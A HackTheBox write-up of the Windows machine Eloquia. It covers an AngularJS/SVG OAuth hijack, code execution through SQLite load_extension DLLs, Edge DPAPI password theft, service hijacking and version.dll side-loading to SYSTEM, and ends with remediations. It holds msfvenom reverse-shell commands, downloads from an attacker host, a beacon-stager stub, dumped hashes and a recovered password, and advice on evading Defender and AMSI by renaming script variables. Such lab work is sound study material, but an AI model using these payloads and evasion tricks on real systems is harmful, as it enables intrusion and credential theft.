A post-mortem of the Insane-rated Windows machine Eloquia on HackTheBox.

502 Bad Gateway, three minutes after a SELECT load_extension that never came back. The specified module could not be found, instantly, on the next file in the same directory. Same statement, same upload field, same web worker — and neither file was anything I had written badly. payload.dll came straight out of Metasploit (msfvenom -f dll). beacon.dll is a Cobalt Strike beacon. extrev.dll was scratch-built C, and it opened a shell. Two professional implants, two answers: one silent, one legible — and one stub that just worked.

The legible error was the honest one. beacon.dll answered at all — The specified module could not be found — but the detection log showed Defender had already taken the file; the error was the echo of a module the scanner deleted. payload.dll never got that far: it removed the thread before any error could be raised. Same console, same upload field, two different silences.

Two failures, two layers — a file the scanner deleted before the loader ever saw it, and a payload that removes the thread before it can report — and neither one is the missing-file failure the documentation leads you to expect. The thread that would have raised an error no longer exists; the name that was missing was never the problem. These errors are where this post begins — and where the brainstorming never really stopped: dead exports, live processes.

TL;DR

  • Prologue: The OAuth Door — The article page trusts AngularJS and $sce.trustAsHtml(), so the filter deletes <script> and leaves everything else standing. An SVG <image> pointed at the OAuth callback is rendered by the admin bot in its authenticated, same-origin session; the callback consumes the attacker’s code and links the attacker’s Qooqle identity to the admin account. The bot’s three-second-per-article sleep against a fifteen-second code is why the chain succeeds only about one time in five. The admin panel then hands over an SQL console and an upload field.

  • A Console That Loads DLLs — load_extension loads the module first and looks up sqlite3_extension_init second, so the name error is the tail of a load that already happened. payload.dll (Metasploit) kills the loading thread and returns 502 with no error; beacon.dll (Cobalt) is flagged and removed by Defender before it can load — ERROR_MOD_NOT_FOUND with nothing left to load. Two scratch-built stubs honor the contract: loader.dll — the in-memory stager — fetches a raw beacon over HTTP and fires it from RW→RX memory, while extrev.dll — the raw Winsock shell — pipes cmd.exe over a socket. Both land as ELOQUIA\web.

  • From Beacon to Shell — web has only two default privileges, so the next step is a credential problem. AppLocker refuses rundll32.exe and powershell.exe; spawnto moves the sacrificial process to wmiprvse.exe, and Seatbelt runs. Its ChromiumHistory output points at an Edge profile under C:\Users\web; SharpChromium walks the DPAPI-wrapped key in Local State and decrypts Olivia.KAT’s saved password. Port 5985 is open, so WinRM turns that password into a shell without another beacon.

  • The Shortcut — Olivia.KAT can write to Failure2Ban\bin\Debug, the directory a LocalSystem service runs from. The SCM holds the running image open, so xpl.ps1 retries Copy-Item every 100 ms until the maintenance cycle releases the lock and the copy lands. The replacement is hivedump.exe: it enables SeBackupPrivilege, saves SAM, SYSTEM, and SECURITY to C:\Temp, grants Everyone full control (GENERIC_ALL), and copies the flag. secretsdump.py turns the hives into the Administrator hash. This was the unintended route, and the first one I took.

  • The Side-Load — Olivia.KAT’s desktop holds the developer’s ProcMon trace, and it shows the 32-bit CLR probing for version.dll from the application directory before the system copy. Drop a file with that name beside Failure2Ban.exe and it runs as LocalSystem. version.dll is not a hive dumper — it is a tiny trampoline that calls WinExec on a hidden PowerShell one-liner, which dots in shell.ps1 from C:\ProgramData. The lazy obfuscation is the script itself: a Nishang reverse shell with the variable names changed ($cl, $st, $bk1, $bk2); Defender is enabled, but the rename broke the published template’s string fingerprint, so the script ran and the listener caught a SYSTEM shell. FW-Cleaner.ps1 deletes version.dll after the restart, so the window is one service cycle.


Prologue: The OAuth Door

Eloquia is a Windows Server 2019 box behind IIS 10, with only 80 and 5985 open. Two Django applications share it: a public article platform with a staff-only admin panel, and qooqle.htb, a spoofed Google OAuth provider the platform trusts. The admin panel carries an embedded SQL console pointed at a live SQLite file, an upload field that serves whatever it is given, and an admin bot that visits reported articles in a headless browser. Over on the other side of the box, a custom .NET service runs as SYSTEM from a bin\Debug directory a normal user can write to.

There are two ways to reach the admin panel. The intended one is an OAuth hijack: abuse the platform’s own login flow to bind an attacker-controlled identity to the admin account, then log in as admin. The unintended one is cookie theft: the configuration and automation files on the box hand out the admin’s session — a hardcoded signing key in settings.py and the admin’s plaintext password in the bot’s script both mint or steal an admin session in one command. Cookie theft is real; this post follows the intended path.

The identity provider is mine to run

Registration is open, and so is the OAuth provider sitting underneath it. The register page offers two of them — Facebook and Qooqle — and Qooqle is not Google. It is a spoof provider, and the copy makes the intent obvious: Google layout, Google wording, Google IP-ban warning. And because it is a provider, accounts get created on it. That is the part that matters — I am not guessing at someone else’s identity provider, I am operating mine.

Before binding anything, the Connected Accounts page lists three providers and all three are inert. After one OAuth round trip, Qooqle carries an account and an active status. That transition is the entire attack, and it is not supposed to require a victim.

The filter that was not one

The article page renders through AngularJS 1.8.2 and uses $sce.trustAsHtml() to inject stored content into the DOM. The intent is ordinary: articles are rich text — bold, headings, links, images — and trustAsHtml() is how AngularJS renders that formatting instead of escaping it to literal text. Safety is delegated to whatever the server filters on the way in. Before assuming anything about that filter, it is worth measuring what it actually does — store all of it in one article and look at what comes back:

html
<script>alert(1)</script>
<b>bold</b>
<h1>SecretMyth</h1>
{{7*7}}
<img src=x onerror=alert(1)>

Four results, and only one of them is what a filter would produce. <script> is stripped to inert text — so there is a deletion, and it is aimed at the script tag. But everything else survives: <b>bold</b> comes back bold, <h1> renders as a real heading, and {{7*7}} renders as 49 — the AngularJS interpolator is still live on that content.

A sanitizer that removes the <script> spelling and leaves everything else standing is not enforcing a policy about what runs. It is performing exactly one deletion — the tag somebody remembered to disallow. That is the gap CVE-2025-2336 sits in: an <image> element inside an SVG points wherever it likes, and the filter sees a namespace and a structural tag rather than an attacker-controlled URL.

The page’s Content Security Policy blocks external image loads and permits same-origin ones — which rules out the obvious payload pointed at my own web server, but CSP still permits same-origin requests. So the SVG stays useful if you point it at Eloquia itself:

html
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <image href="/an-anomaly" width="1" height="1"/>
</svg>

The initiator column reads img. Not xhr, not fetch — an image element, loading a URL that the page never intended to request, inside a session that is somebody else’s. Point it at the OAuth callback and the chain closes:

plaintext
[ Attacker stores SVG in article ]
   │
   └──► [ Report the article ]
           │
           └──► [ Admin bot renders SVG (Same-Origin, Authenticated) ]
                   │
                   └──► [ GET /accounts/oauth2/qooqle/callback/?code=<attacker_code> ]
                           │
                           └──► [ Code consumed in admin context ]
                                   │
                                   └──► [ Attacker's Qooqle identity linked to admin ]

No confirmation, no consent prompt, no navigation the bot has to agree to. The bot loads an image, and loading an image is exactly what it was built to do.

The bot’s three-second sleep explains everything

seleniumSimulator.py sits in plaintext on the automation share, and it is worth reading in full because it is the machine the whole chain is aimed at. Three things in it, and each one retires an assumption.

The admin’s password is hardcoded in the file. admin / (elided), in a script, in a directory any account with access to the share can read. So the OAuth chain, the sanitizer bypass, the reported article — none of it was necessary to become admin. This is the cookie-theft shortcut in its purest form, and it is sitting in the same file as the bot we are about to attack.

The bot does not log in through its browser. session.post(...) builds the authenticated session with requests, and the browser is handed the cookie afterwards. The admin session in this chain was minted by a Python HTTP client, and the browser only ever inherits it.

And time.sleep(3) is the answer to the success rate. The bot loops over every reported article and spends exactly three seconds on each. The authorization code lives fifteen seconds. So the code is consumed only if the bot reaches your article within the first fifteen seconds of its queue. A success rate of roughly one in five was not bad luck. It was the bot’s three-second-per-article sleep divided against a fifteen-second token.

Once the admin is linked, logging in as the admin is unremarkable: “Log In with Qooqle,” authenticate with the identity the victim was just bound to.

bash
➜ python3 oauth_hijack.py
[+] Mint OAuth callback (1828.9 ms)  code=abc123... (expires in 15s)
[+] Create + Report (3241.0 ms)
[*] Bot rendering article #42 — SVG <image> fires GET /oauth2/callback/?code=...
[+] Code consumed as admin (1.1s) — 6s to spare
[+] ADMIN TAKEOVER CONFIRMED

That is the foothold: admin panel, SQL console, upload field. Everything after this point is what those three buys.


A Console That Loads DLLs

The admin panel’s embedded SQL console executes arbitrary SQL against a live SQLite file. The first query, because the answer decides everything that follows:

sql
SELECT sqlite_version();

3.45.1. The next question is what this build compiled in:

sql
PRAGMA compile_options;

COMPILER=msvc-1938 — the stock MSVC build. And the stock build ships load_extension enabled, which most distributions disable with SQLITE_OMIT_LOAD_EXTENSION. That one flag is the entire reason the rest of this post exists: a SQL console in a stock Django app, pointed at a SQLite build with extensions on, is a code-execution primitive.

The host is x64 Windows, and the Django worker is a 64-bit process. A DLL loaded by SQLite must match the process bitness, so everything we build and upload for this step is x64. There is no way around it and no reason to try: 32-bit DLLs simply will not load into a 64-bit process.

payload.dll — the silence

The first upload is the obvious one: a stock Metasploit DLL, straight out of msfvenom:

bash
➜ msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.16.56 LPORT=9294 \
    -f dll -o payload.dll

Uploaded through the article banner field, then loaded from the console:

sql
SELECT load_extension('static/assets/images/blog/payload.dll');

The statement hangs. Three minutes later IIS returns 502 Bad Gateway — the worker behind the request had stopped answering.

Two panes side by side. Left, the Eloquia Admin Dashboard Change article view with a green banner reading The article 'Article object (8)' was changed successfully, the Banner field outlined in red and set to static/assets/images/blog/payload.dll, and Author martin.rose@hotmail.com. Right, a Firefox error page headed Looks like there's a problem with this site, stating The server at eloquia.htb sent back an error: 502 Bad Gateway, above a Try Again button.

Why the silence? Loading a DLL runs its entry point automatically — you do not name it, it just runs. msfvenom -f dll produces a DLL whose entry point is the payload. The stager hollows a suspended process, resumes it, and then calls ExitThread(0) on the very thread LoadLibrary is running on. There is no moment at which an error could be raised — the thread that would raise it no longer exists. IIS waits out its shutdownTimeout and hands back the 502.

And even if it had loaded cleanly, this is a Metasploit DLL — the bytes are famous. Defender would have caught it on the way in. Even wrapping the raw payload in a dedicated evasion tool like shhhloader failed to get it past the scanner. This is a dead end twice over: the thread kills the request, and the signature was a giveaway anyway.

beacon.dll — the module that was there

The second attempt is a Cobalt beacon DLL, loaded the same way:

sql
SELECT load_extension('static/assets/images/blog/beacon.dll');

The specified module could not be found, in under a second.

Two panes. Left, the Eloquia Admin Dashboard Change article form with a green success banner and the Banner field set to static/assets/images/blog/beacon.dll. Right, the SQL Explorer page with the error 'The specified module could not be found.' above SELECT load_extension('static/assets/images/blog/beacon.dll');

Get-MpThreatDetection from an admin shell settles what happened:

ActionSuccess        : True
InitialDetectionTime : 10/9/2026 12:14:08 AM
Resources            : {file:_C:\Web\Eloquia\static\assets\images\blog\beacon.dll}

Defender flagged the beacon and removed it — action succeeded, and the file was gone before SQLite ever tried to load it, which is why the error returned in under a second. Before the log, I read the error the other way: the file loaded, ran, then failed the export lookup. That path exists — load_extension runs the DLL before it checks the name — but for the beacon, Defender decided first. The takeaway that survives is the safer one: a clean error from load_extension is never evidence that nothing happened.

Like payload.dll, this one is a famous implant — the difference is what ended it. payload.dll loaded, ran, and killed the very thread that would have reported; the 502 is the corpse it left. The beacon never got the chance: the detection log shows Defender flagged the upload and removed it at 12:14, so by the time SQLite went looking, the file was already gone.

What sqlite3_extension_init actually is

load_extension does not “run the DLL” in the abstract. It loads the module, then calls a function by name: sqlite3_<filename>_init, falling back to sqlite3_extension_init. That is the contract. A DLL that ships no such export loads fine and then fails the lookup — the failure mode the beacon’s error described, even though the scanner never let it get that far. The name is not cosmetic; it is the whole point of the call.

So the fix is not to obfuscate a framework DLL. It is to write a DLL that honors the contract — exports sqlite3_extension_init and does the work inside it.

loader.dll — The In-Memory Stager

loader.c is a scratch-built x64 C stub that exports exactly sqlite3_extension_init. It fetches a raw stageless Cobalt beacon (beacon.bin) over HTTP, copies it into RW memory, flips it to RX, fires it in a background thread, and returns SQLITE_OK so the query doesn’t error:

c
__declspec(dllexport) int sqlite3_extension_init(
    void *db, char **pzErrMsg, void *pApi)
{
    /* InternetOpenA → InternetOpenUrlA → InternetReadFile loop */
    /* copies beacon.bin into buf, RW→RX flip, CreateThread(exec) */
    return 0; /* SQLITE_OK */
}

There are no famous bytes in this file. The famous implant arrives over HTTP after the DLL has passed every static check. This is the pattern the rest of the post runs on: the file on disk carries as little as possible, and everything that would be recognized arrives after the file has been judged. The full source is in Appendix A.1.

The load_extension query for loader.dll beside a python http.server log showing GET /beacon.bin returning 200 from the target, above the Cobalt graph showing a beacon session on ELOQUIA.

extrev.dll — The Raw Winsock Shell

The other half is extrev.c, the same contract with a different body: a raw Winsock reverse shell. No WinInet, no HTTP fetch, no framework — just WSASocket, connect, and CreateProcessA("cmd.exe") with the socket wired to the process’s stdio. One export, and it is the most boring DLL on the box — which is exactly why it runs where framework artifacts don’t. The full source is in Appendix A.2.

The load_extension query for extrev.dll beside a netcat listener showing a connection from the target and a shell as eloquia\web.

Two doors, one contract: loader.c starts someone else’s story, extrev.dll finishes its own. Both export the one name SQLite asks for, and both are the difference between a console that executes SQL and a console that executes us.

The four files, side by side

  payload.dll beacon.dll loader.dll extrev.dll
Built by Metasploit (msfvenom) Cobalt scratch-built C scratch-built C
Size 267,264 B 328,192 B 109,004 B 109,512 B
SizeOfCode 0x400 0x2000 0x1800 0x1800
Export directory absent present — five names present — one name present — one name
Exports sqlite3_extension_init no no yes yes
Transport DLL none declared none declared WININET.dll WS2_32.dll
TLS directory absent present present present
Result 502 after 3 minutes ERROR_MOD_NOT_FOUND (Quarantined) beacon as web shell as web

Read the “Built by” row against the “Result” row first, because that is the surprise: the two that failed are the production implants, and the two that worked are scratch-built C stubs. The transport row is the honest predictor: the two framework DLLs declare no networking library at all, while the two stubs each declare exactly the one they use. And the export row is the contract: the two that worked export sqlite3_extension_init, the two that failed ship nothing SQLite will call by name. Headers claim; the contract settles.


From Beacon to Shell

loader.dll and extrev.dll both land as ELOQUIA\web — the application pool identity — but they hand back different things. extrev.dll finishes its own story: connect, pipe cmd.exe through the socket, done. loader.dll starts someone else’s: fetch 307,200 bytes over HTTP, map them, make them executable, hand control over, and only then answer SQLite with SQLITE_OK. The beacon it lands survives the worker dying and can be tasked from a GUI instead of a netcat prompt.

That is the whole of the foothold:

plaintext
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

No SeImpersonatePrivilege, no SeDebugPrivilege, no SeAssignPrimaryTokenPrivilege — nothing that elevates, nothing that impersonates, nothing that touches another process. web can traverse directories and increase a working set, and that is the entire list. The next step is not a privilege escalation; it is a credential problem — finding a password that belongs to an account with more than two privileges.

Recon, and the first wall

The first thing to do is read the box — Seatbelt is a single .NET assembly that dumps everything a Windows host knows about itself: installed software, browser data, running processes, services, AppLocker policy. execute-assembly runs it in-process, so nothing new touches disk.

Seatbelt is where the first wall shows up. It wants a sacrificial process to spawn into, and the framework’s default choice is rundll32.exe:

A beacon log where execute-assembly of Seatbelt.exe receives 706300 bytes from the host and then fails with 'could not spawn C:\Windows\system32\rundll32.exe: 1260 - ERROR_ACCESS_DISABLED_BY_POLICY', followed by spawnto x64 setting C:\Windows\System32\wbem\wmiprvse.exe and a second execute-assembly of Seatbelt.exe OSInfo AntiVirus that receives output.

1260 is ERROR_ACCESS_DISABLED_BY_POLICY, and it is not a permissions problem you can work around with a different token. Something on the host has a list. Running Test-AppLockerPolicy against rundll32.exe returns Denied for both Everyone and Olivia.KAT — machine-wide, not account-scoped. The same policy refuses powershell.exe for web by name, so no encoded command with a bypass flag gets past it either — 1260 before it gets that far.

The fix is to point the sacrificial spawn at a process that is allowed. wmiprvse.exe is on the list. With spawnto set to it, Seatbelt runs to completion — and the first thing it surfaces that matters is browser data. The line that decides the next section is a directory path:

plaintext
===== ChromiumHistory ======
History (C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\History):
  http://eloquia.htb/accounts/profile/Eloquia
  http://eloquia.htb/
  http://eloquia.htb/
  http://eloquia.htb/http://eloquia.htb/
  http://eloquia.htb/http://eloquia.htb/
  http://eloquia.htb/accounts/profile/

Six URLs, all of them eloquia.htb — before I had listed a single directory. The most useful thing about a web shell is not that it is low-privilege; it is that it is the account a human browses as. ChromiumHistory reports an Edge profile under C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default, and the directory reads as lived-in rather than provisioned: Local State (the DPAPI-wrapped AES key), ZxcvbnData — the password-strength estimator, which Chromium does not ship without a credential store — and EdgeOnnxRuntimeDirectML, a hardware-accelerated ONNX runtime that exists in a browser profile for one reason: Edge’s own on-device Password Manager.

Inside Default, the two files that matter are Login Data — the credential store, a SQLite file like every other one in this writeup — and Web Data. The profile belongs to web: it sits under C:\Users\web, and the whole reason it can be decrypted is that the account reading it is the account that owns it. Login Data is SQLite, the key is DPAPI-wrapped under web, and SharpChromium walks exactly that chain:

Cobalt beacon console running execute-assembly /opt/Binaries/SharpChromium.exe logins and printing four Chromium Credential blocks for user web; the eloquia.htb login row shows Olivia.KAT and S3cureP@sswdIGu3ss highlighted.

Four rows came back, and the one that mattered was the only one pointing at the application’s own login page — the browser’s record of the login it saved while testing the box. The chain is AES-256-GCM over the password, the AES key wrapped by DPAPI, and the DPAPI master key bound to a user SID and logon password. Running SharpChromium as web works; running it as anyone else does not.

No privilege was gained by noticing this. The shell I had and the profile I wanted belonged to the same account. All the SQL console work was still worth doing — none of it was necessary for this step. web was already the right account to be.

None of this needed a C2. The box hands web a Python interpreter, and a short script using sqlite3, win32crypt, and pycryptodome’s AES-GCM decrypts the same database — same Login Data, same DPAPI key. Python is allowed; PowerShell is not — and that choice was not accidental. The C2 path is the one this post follows, because it leaves no script on disk. Same password either way.

The Olivia shell

One of those credentials is Olivia.KAT’s, and it opens her WinRM account. No beacon needed for this step — port 5985 is open, and the password alone is enough:

bash
➜ evil_winrmexec \
    eloquia.htb/Olivia.KAT:'S3cureP@sswdIGu3ss'@eloquia.htb

...[snip]...

PS C:\Users\Olivia.KAT\Documents> whoami; hostname
eloquia\olivia.kat
Eloquia
PS C:\Users\Olivia.KAT\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Olivia.KAT is the second rung, and her token has the same two default privileges: traverse check and working set. No token tricks apply. What she does have is a shell, and a custom service running as LocalSystem from a directory she can write to. The desktop can wait.


The Shortcut

The writable service

Failure2Ban.exe is a 13,312-byte PE32 .NET assembly that registers with the SCM and blocks IP addresses that fail authentication too many times. The binary agrees with the desktop clues: a Timer’s OnElapsedTime re-reads the log (ProcessLogFile, _logFilePath) and fires BlockIP through the NetFwTypeLib firewall API — the very Block IP* rules FW-Cleaner.ps1 later deletes. Its PDB path even names the developer. It does not matter what it does. What matters is where it lives and what it trusts:

plaintext
C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug

    ELOQUIA\Olivia.KAT:(I)(OI)(CI)(RX,W)        <- the whole privesc, one ACE
    NT SERVICE\TrustedInstaller:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)

(I)(OI)(CI)(RX,W) on bin\Debug — inherited, object-inherit, container-inherit, read-execute plus write. Olivia.KAT can drop a file into a directory that a LocalSystem service executes from:

The service’s registry key tells the same story:

powershell
PS C:\Users\Olivia.KAT\Documents> reg query "HKLM\SYSTEM\CurrentControlSet\Services\Failure2Ban" /s

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Failure2Ban
    Type    REG_DWORD    0x10
    Start    REG_DWORD    0x2
    ErrorControl    REG_DWORD    0x1
    ImagePath    REG_EXPAND_SZ    C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe
    ObjectName    REG_SZ    LocalSystem

That is the entire escalation: replace the binary, wait for the restart, inherit the service token.

The SCM holds the running image open, so a direct copy fails until the maintenance cycle restarts the service. FW-Cleaner.ps1 is that cycle — the automation script on a timer:

powershell
cmd /c "echo LOG FILE > C:\Web\Qooqle\log.csv"
Restart-Service Failure2Ban

The copier is three lines doing one job — Copy-Item -Force -ErrorAction Stop turns the sharing violation into a catchable error, and a while ($true) loop retries every 100 ms until the service stop releases the image lock.

The replacement is not a reverse shell. It is hivedump.exe — a scratch-built stub that enables SeBackupPrivilege, saves SAM, SYSTEM, and SECURITY to C:\Temp, hands Everyone full control (GENERIC_ALL), copies the flag, and exits. No networking library, no executable allocation, no thread. On a box with Defender enabled, the boring binary is the one that runs. The core source is in Appendix B.2, and the full C payload is in the repository.

The hives

Two panes side by side. Left, a terminal where iwr fetches hivedump.exe and xpl.ps1 into C:\programdata and powershell -ep bypass runs the copier, still retrying at 1200 attempts. Right, a Get-ChildItem of C:\Temp listing root.txt at 34 bytes, sam.bak at 65536, security.bak at 28672 and system.bak at 18407424, each highlighted.

secretsdump.py parses the three hives offline and recovers everything in one shot — including the Administrator hash:

bash
➜ secretsdump.py \
    -sam sam.bak -security security.bak -system system.bak \
    local
[*] Target system bootKey: 0x9efaf9403ce3a1c0b3e8364b0d849974
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e63413bab01a0b8820983496c0be3a9a:::
web:1000:aad3b435b51404eeaad3b435b51404ee:aa04ab562321912f63f2488d22756953:::
Olivia.KAT:1001:aad3b435b51404eeaad3b435b51404ee:2cbfd71fcc7181dade35b694169b2256:::
[*] DPAPI_SYSTEM
[*] NL$KM
[*] _SC_eloquia.htb
(Unknown User):v3ryS0l!dP@sswd#1

The Administrator hash is the end of the chain: psexec gives a SYSTEM shell, wmiexec an administrative one, and neither needs any of the steps above. That is the shortcut in full — a writable service directory, a retry loop, and three registry hives. It was the unintended route, and it was the first one I took.


The Side-Load

The shortcut rooted the box first, but it is not what the box was built around. The intended route was on Olivia.KAT’s desktop the whole time.

Three files, sitting in plain sight:

  • Todo.txt — a TODO list for the service. Three of five items unfinished: “read firewall rules on service start”, “implement malicious input detection algorithm”, and “avoid reading the whole log file on every service recall”. The temporary solution for the CPU spike is “Log rotation & service restart” — the same cycle the shortcut used.
  • Failure2Ban - Prototype - Shortcut.lnk — a shortcut to C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype. Nothing hidden, but it confirms the workflow: the developer sits at this desktop, opens the project, builds, and runs.
  • Logfile.PML — a 1.3 MB Process Monitor log, the developer’s own trace of the service.

That last one is the useful one. Filtered for the service’s DLL activity, it shows exactly what a developer sees when running ProcMon against his own binary:

plaintext
C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\VERSION.dll
C:\Windows\system32\VERSION.dll
C:\Windows\System32\version.dll
C:\Windows\SysWOW64\version.dll
C:\Windows\SysWOW64\VERSION.dll

Failure2Ban.exe is a 32-bit .NET assembly, and its CLR probes for version.dll through the standard search order — application directory first. Drop a file with that name next to the binary, and the CLR loads it as LocalSystem before the service’s own code runs. No binary to reverse, no exploit to craft, no service binary to replace. And unlike the SQLite extensions, this DLL has no export contract to honor: it only has to exist, load, and run its entry point. The full source is in Appendix B.1.

The delivery is three commands from Olivia’s shell:

powershell
PS C:\programdata> iwr http://10.10.16.56/shell.ps1 -O shell.ps1
PS C:\programdata> iwr http://10.10.16.56/version.dll -O version.dll
PS C:\programdata> copy version.dll "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\"

Delivery and payoff in one frame:

Two panes side by side. Left, a PowerShell session in C:\programdata that downloads shell.ps1 and version.dll with iwr, copies version.dll into Failure2Ban\bin\Debug, and types shell.ps1, showing the highlighted compact TCPClient reverse shell to 10.10.16.56 on port 9294. Right, an rlwrap ncat listener on 9294 reporting a connection from 10.129.156.202, where whoami and hostname return nt authority\system and Eloquia.

Then the box does the rest. FW-Cleaner.ps1, the maintenance script on its timer, restarts the service; the SCM launches Failure2Ban.exe; the CLR resolves version.dll from the application directory and loads it. The DLL’s entry point spawns a thread that calls WinExec on a hidden PowerShell one-liner, returns TRUE, and lets the service keep running. The one-liner dots in shell.ps1 from C:\ProgramData, and the script connects back.

The lazy obfuscation

Defender is enabled on this box, and the script that lands the SYSTEM shell is not obfuscated in the compiled sense at all. It is a compact Nishang reverse shell with the variable names changed. That is the whole trick: $cl instead of $client, $st instead of $stream, $bk1/$bk2 instead of $sendback/$sendback2. The logic is identical; the strings a static signature matches are not.

Why it works: the published Nishang template has a known string fingerprint, and Defender’s AMSI (Antimalware Scan Interface) — the API that inspects every PowerShell script block at execution — matched it. Renaming the variables changed the text without changing the behavior, so the same scan that flagged the template now sees nothing it recognizes. There are no imports to inspect because it is interpreted PowerShell, not a PE — no WININET, no VirtualAlloc, no CreateThread in the script itself. The DLL that launches it is just as thin: WinExec, CreateThread, Sleep, DisableThreadLibraryCalls, and the CRT shims. No socket, no shellcode, no executable allocation. On a host that decides by reading import tables and matching known scripts, there is nothing left to match. The CLR trampoline source is in Appendix B.1, and its full source is in the repository.

The screenshot above is the whole result: the listener catches the callback, and whoami answers nt authority\system.

The FW-Cleaner.ps1 snippet from the shortcut stopped after the restart. The file has one more line:

powershell
cmd /c "echo LOG FILE > C:\Web\Qooqle\log.csv"
Restart-Service Failure2Ban
rm "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\version.dll"

The maintenance script deletes version.dll after each restart. The window is one service cycle: upload the DLL, let the restart load it, and the shell connects before the cleanup line removes the file. Miss the window and the copy is gone; the service comes back clean. The script stays in C:\ProgramData, so the next cycle only needs the DLL again.

Two doors, same room. The shortcut replaced the service binary and read the hives; the side-load left the binary untouched, put a file beside it, and handed back a SYSTEM shell. The difference is what the box was designed to teach: the service binary was a decoy, and the DLL search order was the door.

There is a third door in the same directory that we left closed: Failure2Ban.exe.config sits writable beside the binary, and a .NET config-level hijack — an AppDomainManager assembly — would run managed code before the service’s own entry point. It is real; it is just not the route this post takes.


Closing Thoughts

Eloquia’s lesson is not that one route is real and the other is a trick. Both routes end in the same service directory and the same SYSTEM token; the shortcut reads the hives, the side-load hands back a shell. The shortcut was faster; the side-load was the one the box documented. The difference that mattered on the day was which payload the scanner could not tolerate.

The same comparison carries a quieter lesson: the unintended route was the complex one. It needed a custom binary, a backup privilege, DACL surgery, and a race against the service image. The intended route was almost lazy — a file with the right name, and a script with two variables renamed. Complexity didn’t win; the lightest payload did, because it stopped matching anything the scanner knew. Obfuscation usually wins against signatures — the question is how little of it you need.

The extension contract was the first filter and the least honest one: load_extension runs the DLL before it checks the name, so a name error is a comment on a load that already happened. payload.dll proved the silence; beacon.dll proved the error; the in-memory stager and the raw Winsock shell proved the contract. The import table said the same thing about the root half: hivedump.exe declared almost nothing — ADVAPI32 and the CRT shims — and ran as SYSTEM. The side-load went one step further: it left the compiled payload almost empty and renamed the script’s variables, so the signature had nothing to hold onto.

Everything else was plumbing. AppLocker made rundll32.exe and powershell.exe useless for web, but left python.exe and wmiprvse.exe alive. DPAPI made Olivia.KAT’s saved password readable by the account that owned the profile. The writable bin\Debug directory made the rest of it possible. None of those are vulnerabilities in the usual sense; they are the box’s own workflow, left open.

The flags are incidental. The useful artifact is the boundary map — three doors into the same room, and a service that trusted a filename over its own binary.


Defensive Remediations

  • OAuth callback protection. Require a state parameter on the OAuth callback and validate it against the session that started the flow; add PKCE so a consumed code cannot be replayed. Enforce a strict allowlist HTML sanitizer at the server (e.g., Bleach or nh3) — DOMPurify does the same job, but only in the browser — so SVG <image> hrefs, event handlers, and object never survive into the admin’s session.
  • SQLite extension disablement. Compile SQLite with SQLITE_OMIT_LOAD_EXTENSION, or explicitly disable the load_extension feature in the Django database connection configuration, to neutralize the code-execution vector behind the SQL console.
  • Service directory permissions. Remove (RX,W) access for the Olivia.KAT account on Failure2Ban\bin\Debug. Restrict write privileges strictly to NT AUTHORITY\SYSTEM and BUILTIN\Administrators — this one fix kills the service-binary replacement route.
  • DLL sideloading mitigation. Securing the directory prevents the file drop, but the application should also load dependencies by absolute path or via an application manifest, so the CLR never probes the application directory. That closes the version.dll door even if a writable directory reappears.
  • Credential management. Remove hardcoded administrative passwords from the seleniumSimulator.py bot script, and rotate the signing key in settings.py, which can forge sessions on its own. Transition to a secure credential vault, give the review bot a least-privilege account, and clear all developer artifacts — the ProcMon trace included — from production hosts.

The box in this lab didn’t fail because of one catastrophic mistake. It failed because each of these surfaces had a seam, and the seams lined up. Close them one at a time, in the order the walk permitted them to be crossed.


Appendix A: The Extension Contract

load_extension runs a DLL in two steps: LoadLibrary first, then a symbol lookup for sqlite3_<filename>_init, falling back to sqlite3_extension_init. The order is why the errors in the main post read the way they do — the name check is the tail of a successful load, not a gate in front of it. The two working DLLs are x64 because the Django worker is x64.

A.1 — loader.c (In-Memory Stager)

loader.c exports exactly sqlite3_extension_init, so SQLite calls it by name after loading the module. The function opens a WinInet session and fetches a raw stageless Cobalt beacon from the attacker’s HTTP server, reading it into a heap buffer until the server closes the body. It then allocates a fresh RW region, copies the beacon in, and flips the page to RX with VirtualProtect — the RW→RX sequence avoids the RWX page signature that scanners look for. A background thread starts at the beacon’s entry point and the function returns SQLITE_OK, so the SQL console reports a normal successful query while the beacon runs. The DLL on disk carries no implant bytes at all; everything recognizable arrives over HTTP after the file has passed static review.

A.2 — extrev.c (Raw Winsock Shell)

extrev.c is the same contract with no HTTP and no framework. It initializes Winsock, opens a plain TCP socket, and connects back to the attacker’s listener. The interesting part is how the shell is handed over: a STARTUPINFO sets STARTF_USESTDHANDLES and points the child’s hStdInput, hStdOutput, and hStdError at the socket handle, so CreateProcessA("cmd.exe") inherits the network stream as its console. WaitForSingleObject holds the extension call open for the life of the shell; when cmd.exe exits, the DLL closes the socket and returns SQLITE_OK. Its import table is minimal — WS2_32, the CRT shims — which is why it runs where framework artifacts don’t.


Appendix B: The Root Half

B.1 — version.dll (CLR Trampoline)

